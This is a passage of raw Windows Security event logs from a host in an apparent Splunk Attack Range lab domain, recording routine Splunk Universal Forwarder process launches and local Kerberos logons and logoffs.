Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255743
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255742
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255745
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1088
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255744
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:32:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255746
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:32:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255747
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x353693

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:32:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255750
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x356E0E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:32:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255749
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x356E0E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64707

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:32:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255748
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x356E0E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:33:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255751
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:33:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255752
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1178
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:33:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255754
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:33:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255753
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255756
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:33:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255755
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:33:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255757
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:33:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255760
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x35A3B6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:33:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255759
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x35A3B6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64720

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:33:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255758
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x35A3B6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:34:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255761
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1134
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:34:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255763
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x298
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:34:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255762
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd54
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

